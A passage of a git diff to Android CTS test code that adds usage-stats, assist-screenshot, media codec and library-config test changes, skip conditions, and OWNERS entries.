 import java.util.concurrent.TimeUnit;
 import java.util.function.BooleanSupplier;
@@ -123,6 +128,10 @@
             = "android.app.usage.cts.test1.SomeActivityWithLocus";
     private static final String TEST_APP_CLASS_SERVICE
             = "android.app.usage.cts.test1.TestService";
+    private static final String TEST_APP_CLASS_BROADCAST_RECEIVER
+            = "android.app.usage.cts.test1.TestBroadcastReceiver";
+    private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
+    private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
     private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
     private static final String TEST_APP2_CLASS_FINISHING_TASK_ROOT =
             "android.app.usage.cts.test2.FinishingTaskRootActivity";
@@ -274,6 +283,34 @@
         verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
     }
 
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testLastTimeAnyComponentUsed_bindExplicitBroadcastReceiverShouldBeDetected()
+            throws Exception {
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        final long startTime = System.currentTimeMillis();
+        bindToTestBroadcastReceiver();
+        final long endTime = System.currentTimeMillis();
+
+        verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
+    }
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testLastTimeAnyComponentUsed_bindContentProviderShouldBeDetected()
+            throws Exception {
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        final long startTime = System.currentTimeMillis();
+        bindToTestContentProvider();
+        final long endTime = System.currentTimeMillis();
+
+        verifyLastTimeAnyComponentUsedWithinRange(startTime, endTime, TEST_APP_PKG);
+    }
+
     private void verifyLastTimeAnyComponentUsedWithinRange(
             long startTime, long endTime, String targetPackage) {
         final Map<String, UsageStats> map = mUsageStatsManager.queryAndAggregateUsageStats(
@@ -281,8 +318,8 @@
         final UsageStats stats = map.get(targetPackage);
         assertNotNull(stats);
         final long lastTimeAnyComponentUsed = stats.getLastTimeAnyComponentUsed();
-        assertLessThan(startTime, lastTimeAnyComponentUsed);
-        assertLessThan(lastTimeAnyComponentUsed, endTime);
+        assertLessThanOrEqual(startTime, lastTimeAnyComponentUsed);
+        assertLessThanOrEqual(lastTimeAnyComponentUsed, endTime);
 
         SystemUtil.runWithShellPermissionIdentity(()-> {
             final long lastDayAnyComponentUsedGlobal =
@@ -909,6 +946,8 @@
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
     public void testIsAppInactive() throws Exception {
+        assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery());
+
         setStandByBucket(mTargetPackage, "rare");
 
         try {
@@ -954,6 +993,8 @@
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
     public void testIsAppInactive_Charging() throws Exception {
+        assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery());
+
         setStandByBucket(TEST_APP_PKG, "rare");
 
         try {
@@ -1798,6 +1839,52 @@
         return ITestReceiver.Stub.asInterface(connection.getService());
     }
 
+    /**
+     * Send broadcast to test app's receiver and wait for it to be received.
+     */
+    private void bindToTestBroadcastReceiver() {
+        final Intent intent = new Intent().setComponent(
+                new ComponentName(TEST_APP_PKG, TEST_APP_CLASS_BROADCAST_RECEIVER));
+        CountDownLatch latch = new CountDownLatch(1);
+        mContext.sendOrderedBroadcast(
+                intent,
+                null /* receiverPermission */,
+                new BroadcastReceiver() {
+                    @Override public void onReceive(Context context, Intent intent) {
+                        latch.countDown();
+                    }
+                },
+                null /* scheduler */,
+                Activity.RESULT_OK,
+                null /* initialData */,
+                null /* initialExtras */);
+        try {
+            assertTrue("Timed out waiting for test broadcast to be received",
+                    latch.await(TIMEOUT, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            throw new IllegalStateException("Interrupted", e);
+        }
+    }
+
+    /**
+     * Bind to the test app's content provider.
+     */
+    private void bindToTestContentProvider() throws Exception {
+        // Acquire unstable content provider so that test process isn't killed when content
+        // provider app is killed.
+        final Uri testUri = Uri.parse(TEST_APP_CONTENT_URI_STRING);
+        ContentProviderClient client =
+                mContext.getContentResolver().acquireUnstableContentProviderClient(testUri);
+        try (Cursor cursor = client.query(
+                testUri,
+                null /* projection */,
+                null /* selection */,
+                null /* selectionArgs */,
+                null /* sortOrder */)) {
+            assertNotNull(cursor);
+        }
+    }
+
     private class TestServiceConnection implements ServiceConnection {
         private BlockingQueue<IBinder> mBlockingQueue = new LinkedBlockingQueue<>();
 
diff --git a/tests/tests/appenumeration/OWNERS b/tests/tests/appenumeration/OWNERS
index 5283468..8a44fb2 100644
--- a/tests/tests/appenumeration/OWNERS
+++ b/tests/tests/appenumeration/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36137
 patb@google.com
+toddke@google.com
 chiuwinson@google.com
 rtmitchell@google.com
diff --git a/tests/tests/appop2/OWNERS b/tests/tests/appop2/OWNERS
index 01eae4e..3753dee 100644
--- a/tests/tests/appop2/OWNERS
+++ b/tests/tests/appop2/OWNERS
@@ -2,5 +2,6 @@
 moltmann@google.com
 zhanghai@google.com
 ntmyren@google.com
+eugenesusla@google.com
 svetoslavganov@google.com
 evanseverson@google.com
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 8c25dea..44a3109 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -73,6 +73,7 @@
 import java.util.Map;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
 
 @RunWith(AndroidJUnit4.class)
 abstract class AssistTestBase {
@@ -140,7 +141,8 @@
 
     @Nullable
     protected RemoteCallback m3pActivityCallback;
-    private RemoteCallback m3pCallbackReceiving;
+    @Nullable
+    protected RemoteCallback mSecondary3pActivityCallback;
 
     protected boolean mScreenshotMatches;
     private Point mDisplaySize;
@@ -168,7 +170,6 @@
         mActionLatchReceiver = new ActionLatchReceiver();
 
         prepareDevice();
-        registerForAsyncReceivingCallback();
 
         customSetup();
     }
@@ -185,11 +186,15 @@
         mTestActivity.finish();
         mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
 
-
         if (m3pActivityCallback != null) {
             m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
         }
 
+        if (mSecondary3pActivityCallback != null) {
+            mSecondary3pActivityCallback
+                    .sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+        }
+
         mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
     }
 
@@ -209,19 +214,6 @@
         runShellCommand("wm dismiss-keyguard");
     }
 
-    private void registerForAsyncReceivingCallback() {
-        HandlerThread handlerThread = new HandlerThread("AssistTestCallbackReceivingThread");
-        handlerThread.start();
-        Handler handler = new Handler(handlerThread.getLooper());
-
-        m3pCallbackReceiving = new RemoteCallback((results) -> {
-            String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION);
-            if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) {
-                m3pActivityCallback = results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING);
-            }
-        }, handler);
-    }
-
     protected void startTest(String testName) throws Exception {
         Log.i(TAG, "Starting test activity for TestCaseType = " + testName);
         Intent intent = new Intent();
@@ -244,7 +236,25 @@
         Utils.setTestAppAction(intent, testCaseName);
         intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback);
         intent.addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
-        intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, m3pCallbackReceiving);
+
+        // In devices which support multi-window Activity positioning by default (such as foldables)
+        // it is necessary to launch additional activities ("screen fillers") so we may validate the
+        // entire screenshot captured by the Assistant (full display, not individual DisplayAreas)
+        if (m3pActivityCallback == null) { // first time start3pApp is called
+            intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING,
+                    createRemoteCallbackReceiver(callback -> m3pActivityCallback = callback));
+        } else if (mSecondary3pActivityCallback == null) { // second time
+            // launch 3pApp on adjacent screen in test cases that need a "screen filler".
+            // necessary configuration to ensure Activity can be launched in another DisplayArea
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT
+                    // as we are reusing this intent setup, unconditionally start a new task
+                    | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+            intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, createRemoteCallbackReceiver(
+                    remoteCallback -> mSecondary3pActivityCallback = remoteCallback));
+        } else {
+            throw new IllegalStateException("start3pApp supports a maximum of two App instances.");
+        }
+
         if (extras != null) {
             intent.putExtras(extras);
         }
@@ -253,6 +263,15 @@
         waitForOnResume();
     }
 
+    private RemoteCallback createRemoteCallbackReceiver(Consumer<RemoteCallback> consumer) {
+        return new RemoteCallback((results) -> {
+            String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION);
+            if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) {
+                consumer.accept(results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING));
+            }
+        }, new Handler(mContext.getMainLooper()));
+    }
+
     /**
      * Starts the shim service activity
      */
@@ -319,9 +338,8 @@
      */
     private void addDimensionsToIntent(Intent intent) {
         if (mDisplaySize == null) {
-            Display display = mTestActivity.getWindowManager().getDefaultDisplay();
-            mDisplaySize = new Point();
-            display.getRealSize(mDisplaySize);
+            Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode();
+            mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight());
         }
         intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x);
         intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y);
diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
index c9d16c8..e5f0cd1 100644
--- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
@@ -39,48 +39,20 @@
 
     @Test
     public void testRedScreenshot() throws Throwable {
-        if (mActivityManager.isLowRamDevice()) {
-            Log.d(TAG, "Not running assist tests on low-RAM device.");
-            return;
-        }
-
-        startTest(TEST_CASE_TYPE);
-        waitForAssistantToBeReady();
-
-        Bundle bundle = new Bundle();
-        bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.RED);
-        start3pApp(TEST_CASE_TYPE, bundle);
-
-        eventuallyWithSessionClose(() -> {
-            delayAndStartSession(Color.RED);
-            verifyAssistDataNullness(false, false, false, false);
-            assertThat(mScreenshotMatches).isTrue();
-        });
+        validateDeviceAndRunTestForColor(Color.RED);
     }
 
     @Test
     public void testGreenScreenshot() throws Throwable {
-        if (mActivityManager.isLowRamDevice()) {
-            Log.d(TAG, "Not running assist tests on low-RAM device.");
-            return;
-        }
-
-        startTest(TEST_CASE_TYPE);
-        waitForAssistantToBeReady();
-
-        Bundle bundle = new Bundle();
-        bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.GREEN);
-        start3pApp(TEST_CASE_TYPE, bundle);
-
-        eventuallyWithSessionClose(() -> {
-            delayAndStartSession(Color.GREEN);
-            verifyAssistDataNullness(false, false, false, false);
-            assertThat(mScreenshotMatches).isTrue();
-        });
+        validateDeviceAndRunTestForColor(Color.GREEN);
     }
 
     @Test
     public void testBlueScreenshot() throws Throwable {
+        validateDeviceAndRunTestForColor(Color.BLUE);
+    }
+
+    private void validateDeviceAndRunTestForColor(int color) throws Throwable {
         if (mActivityManager.isLowRamDevice()) {
             Log.d(TAG, "Not running assist tests on low-RAM device.");
             return;
@@ -90,11 +62,15 @@
         waitForAssistantToBeReady();
 
         Bundle bundle = new Bundle();
-        bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.BLUE);
+        bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, color);
+        start3pApp(TEST_CASE_TYPE, bundle);
+        // In multi-window devices (particularly foldables) we must cover the entire display
+        // to properly validate the Assistant screenshot; as there is no standard API to determine
+        // how many DisplayAreas a screen may contain, open a secondary activity for basic cases
         start3pApp(TEST_CASE_TYPE, bundle);
 
         eventuallyWithSessionClose(() -> {
-            delayAndStartSession(Color.BLUE);
+            delayAndStartSession(color);
             verifyAssistDataNullness(false, false, false, false);
             assertThat(mScreenshotMatches).isTrue();
         });
diff --git a/tests/tests/content/OWNERS b/tests/tests/content/OWNERS
index eb33966..737382c 100644
--- a/tests/tests/content/OWNERS
+++ b/tests/tests/content/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36137
+toddke@google.com
 patb@google.com
 schfan@google.com
 alexbuy@google.com
diff --git a/tests/tests/content/pm/OWNERS b/tests/tests/content/pm/OWNERS
index a2a833c..941653d 100644
--- a/tests/tests/content/pm/OWNERS
+++ b/tests/tests/content/pm/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 36137
 patb@google.com
+toddke@google.com
 narayan@google.com
diff --git a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
index ceed14a..c6e4b96 100644
--- a/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/OpenGlEsDeqpLevelTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -38,6 +39,7 @@
  */
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot access ro.board.* system properties")
 public class OpenGlEsDeqpLevelTest {
 
     private static final String TAG = OpenGlEsDeqpLevelTest.class.getSimpleName();
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index eace470..277ca80 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -21,6 +21,7 @@
 
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -40,6 +41,7 @@
  */
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot access ro.board.* system properties")
 public class VulkanDeqpLevelTest {
 
     private static final String TAG = VulkanDeqpLevelTest.class.getSimpleName();
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
index dd9576f..0e2711d 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
@@ -34,6 +34,7 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -117,6 +118,7 @@
         }
     }
 
+    @Ignore("TODO(b/199671094)")
     @Test
     public void fontManager_getFontConfig_checkAlias() {
         FontConfig config = getFontConfig();
diff --git a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
index 8c562c5..810aebc 100644
--- a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
+++ b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
@@ -16,10 +16,14 @@
 
 package android.hardware.cts;
 
+import static android.os.Build.VERSION;
+import static android.os.Build.VERSION_CODES;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.pm.PackageManager;
+import android.os.SystemProperties;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -43,6 +47,11 @@
 
     @Before
     public void setUp() throws Exception {
+        final int firstApiLevel =
+                SystemProperties.getInt("ro.product.first_api_level", VERSION.SDK_INT);
+        assumeTrue("Skipping test: it only applies to devices that first shipped with S or later.",
+                   firstApiLevel >= VERSION_CODES.S);
+
         mPackageManager = InstrumentationRegistry.getTargetContext().getPackageManager();
         mHasSecurityFeature =
             mPackageManager.hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
diff --git a/tests/tests/instantapp/OWNERS b/tests/tests/instantapp/OWNERS
index e91398e..dd85fa9 100644
--- a/tests/tests/instantapp/OWNERS
+++ b/tests/tests/instantapp/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 36137
 chiuwinson@google.com
 patb@google.com
+toddke@google.com
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 796fbd8..8be3deb 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -41,8 +41,8 @@
 
 class LinkerNamespacesHelper {
     private final static String PUBLIC_CONFIG_DIR = "/system/etc/";
+    private final static String SYSTEM_EXT_CONFIG_DIR = "/system_ext/etc/";
     private final static String PRODUCT_CONFIG_DIR = "/product/etc/";
-    private final static String SYSTEM_CONFIG_FILE = PUBLIC_CONFIG_DIR + "public.libraries.txt";
     private final static Pattern EXTENSION_CONFIG_FILE_PATTERN = Pattern.compile(
             "public\\.libraries-([A-Za-z0-9\\-_.]+)\\.txt");
     private final static String VENDOR_CONFIG_FILE = "/vendor/etc/public.libraries.txt";
@@ -201,16 +201,21 @@
 
         Collections.addAll(artApexLibs, PUBLIC_ART_LIBRARIES);
 
-        // Check if /system/etc/public.libraries-company.txt and /product/etc/public.libraries
-        // -company.txt files are well-formed. The libraries however are not loaded for test;
-        // It is done in another test CtsUsesNativeLibraryTest because since Android S those libs
-        // are not available unless they are explicited listed in the app manifest.
-
+        // Check if /system/etc/public.libraries-company.txt,
+        // /system_ext/etc/public.libraries-company.txt
+        // and /product/etc/public.libraries-company.txt files are well-formed. The
+        // libraries however are not loaded for test;
+        // It is done in another test CtsUsesNativeLibraryTest because since Android S
+        // those libs are not available unless they are explicited listed in the app
+        // manifest.
         List<String> oemLibs = new ArrayList<>();
         String oemLibsError = readExtensionConfigFiles(PUBLIC_CONFIG_DIR, oemLibs);
         if (oemLibsError != null) return oemLibsError;
 
-        // PRODUCT libs that passed are also available
+        List<String> systemextLibs = new ArrayList<>();
+        String systemextLibsError = readExtensionConfigFiles(SYSTEM_EXT_CONFIG_DIR, systemextLibs);
+        if (systemextLibsError != null) return systemextLibsError;
+
         List<String> productLibs = new ArrayList<>();
         String productLibsError = readExtensionConfigFiles(PRODUCT_CONFIG_DIR, productLibs);
         if (productLibsError != null) return productLibsError;
diff --git a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
index 0b3c067..cff3033 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
@@ -45,6 +45,12 @@
     private void assertNONEwithECDSATruncatesInputToFieldSize(KeyPair keyPair)
             throws Exception {
         int keySizeBits = TestUtils.getKeySizeBits(keyPair.getPublic());
+        if (keySizeBits == 521) {
+            /*
+             * Skip P521 test until b/184307265 is fixed.
+             */
+            return;
+        }
         byte[] message = new byte[(keySizeBits * 3) / 8];
         for (int i = 0; i < message.length; i++) {
             message[i] = (byte) (i + 1);
diff --git a/tests/tests/match_flags/OWNERS b/tests/tests/match_flags/OWNERS
index 5283468..8a44fb2 100644
--- a/tests/tests/match_flags/OWNERS
+++ b/tests/tests/match_flags/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 36137
 patb@google.com
+toddke@google.com
 chiuwinson@google.com
 rtmitchell@google.com
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 248ba82..c745207 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -3244,9 +3244,9 @@
         };
         final int MAX_CHANNEL_BIT = 1 << (AudioSystem.FCC_24 - 1); // highest allowed channel.
         final int TEST_CONF_ARRAY[] = {
-                (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
                 MAX_CHANNEL_BIT,      // likely silent - no physical device on top channel.
                 MAX_CHANNEL_BIT | 1,  // first channel will likely have physical device.
+                (1 << AudioSystem.OUT_CHANNEL_COUNT_MAX) - 1,
         };
         final int TEST_WRITE_MODE_ARRAY[] = {
                 AudioTrack.WRITE_BLOCKING,
@@ -3258,10 +3258,12 @@
 
         double frequency = 200; // frequency changes for each test
         for (int TEST_FORMAT : TEST_FORMAT_ARRAY) {
-            for (int TEST_CONF : TEST_CONF_ARRAY) {
-                for (int TEST_SR : TEST_SR_ARRAY) {
-                    for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
-                        for (int useDirect = 0; useDirect < 2; ++useDirect) {
+            for (int TEST_SR : TEST_SR_ARRAY) {
+                for (int TEST_WRITE_MODE : TEST_WRITE_MODE_ARRAY) {
+                    for (int useDirect = 0; useDirect < 2; ++useDirect) {
+                        for (int TEST_CONF : TEST_CONF_ARRAY) {
+                            // put TEST_CONF in the inner loop to avoid
+                            // back-to-back creation of large tracks.
                             playOnceStreamByteBuffer(
                                     TEST_NAME, frequency, TEST_SWEEP,
                                     TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index 4c24777..1ccd71e 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -949,23 +949,38 @@
             // ignore
         }
 
+        final int RETRY_LIMIT = 100;
+        final long INPUTBUFFER_TIMEOUT_US = 10000;
+        int num_retry = 0;
         ByteBuffer buf = ByteBuffer.allocate(2*1024*1024);
         MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        while(true) {
+        while(num_retry < RETRY_LIMIT) {
             for (MediaCodec codec : codecs) {
-                if (codec != null) {
-                    int idx = codec.dequeueOutputBuffer(info, 5);
-                    if (idx >= 0) {
-                        codec.releaseOutputBuffer(idx, false);
+                if (codec == null) {
+                    continue;
+                }
+                while (true) {
+                    int idx = codec.dequeueOutputBuffer(info, 0);
+                    if (idx < 0) {
+                        break;
                     }
+                    codec.releaseOutputBuffer(idx, false);
                 }
             }
+
             int trackIdx = extractor.getSampleTrackIndex();
             MediaCodec codec = codecs[trackIdx];
             ByteBuffer b = buf;
             int bufIdx = -1;
             if (codec != null) {
-                bufIdx = codec.dequeueInputBuffer(-1);
+                bufIdx = codec.dequeueInputBuffer(INPUTBUFFER_TIMEOUT_US);
+                // No available input buffer now, retry again.
+                if (bufIdx < 0) {
+                    num_retry += 1;
+                    continue;
+                }
+
+                num_retry = 0;
                 b = codec.getInputBuffer(bufIdx);
             }
             int n = extractor.readSampleData(b, 0);
@@ -981,9 +996,11 @@
                 break;
             }
         }
+        extractor.release();
+
+        assertTrue("dequeueing input buffer exceeded timeout", num_retry < RETRY_LIMIT);
         assertTrue("did not read from track 0", bytesRead[0] > 0);
         assertTrue("did not read from track 1", bytesRead[1] > 0);
-        extractor.release();
     }
 
     private void doTestAdvance(final String res) throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index 23d40e3..20d0f50 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -1073,12 +1073,20 @@
 
     public void testGetImageAtIndexAvif() throws Exception {
         if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 1080p");
+            return;
+        }
         testGetImage("sample.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
                 1 /*imageCount*/, 0 /*primary*/, false /*useGrid*/, true /*checkColor*/);
     }
 
     public void testGetImageAtIndexAvifGrid() throws Exception {
         if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 512, 512, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 512p");
+            return;
+        }
         testGetImage("sample_grid2x4.avif", 1920, 1080, "image/avif", 0 /*rotation*/,
                 1 /*imageCount*/, 0 /*primary*/, true /*useGrid*/, true /*checkColor*/);
     }
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index 4b5608a..be2b066 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -15,8 +15,6 @@
  */
 package android.media.cts;
 
-import static android.Manifest.permission.MEDIA_CONTENT_CONTROL;
-
 import android.media.AudioManager;
 import android.platform.test.annotations.AppModeFull;
 import com.android.compatibility.common.util.ApiLevelUtil;
@@ -107,8 +105,9 @@
         // The permission can be held only on S+
         if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
 
-        getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.MEDIA_CONTENT_CONTROL,
+                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
 
         MediaKeyEventSessionListener keyEventSessionListener = new MediaKeyEventSessionListener();
         mSessionManager.addOnMediaKeyEventSessionChangedListener(
@@ -141,8 +140,9 @@
         // The permission can be held only on S+
         if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
 
-        getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.MEDIA_CONTENT_CONTROL,
+                Manifest.permission.MANAGE_EXTERNAL_STORAGE);
 
         MediaKeyEventDispatchedListener keyEventDispatchedListener =
                 new MediaKeyEventDispatchedListener();
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index 69ec158..6fdf955 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -183,6 +183,10 @@
     @Test
     public void testCreateImageThumbnailAvif() throws Exception {
         if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 1080p");
+            return;
+        }
         final File file = stageFile("sample.avif", new File(mDir, "cts.avif"));
 
         for (Size size : TEST_SIZES) {
diff --git a/tests/tests/mediatranscoding/OWNERS b/tests/tests/mediatranscoding/OWNERS
index dbe0a55..e653979 100644
--- a/tests/tests/mediatranscoding/OWNERS
+++ b/tests/tests/mediatranscoding/OWNERS
@@ -1,3 +1,4 @@
 # Bug component: 761430
 hkuang@google.com
+chz@google.com
 lnilsson@google.com
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
similarity index 83%
rename from tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
rename to tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
index b15eedc..c9b2b16 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
@@ -24,11 +24,14 @@
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.media.ApplicationMediaCapabilities;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
 import android.media.MediaFormat;
-import android.media.MediaTranscodeManager;
-import android.media.MediaTranscodeManager.TranscodingRequest;
-import android.media.MediaTranscodeManager.TranscodingSession;
-import android.media.MediaTranscodeManager.VideoTranscodingRequest;
+import android.media.MediaTranscodingManager;
+import android.media.MediaTranscodingManager.TranscodingRequest;
+import android.media.MediaTranscodingManager.TranscodingSession;
+import android.media.MediaTranscodingManager.VideoTranscodingRequest;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Environment;
@@ -67,8 +70,8 @@
 @Presubmit
 @RequiresDevice
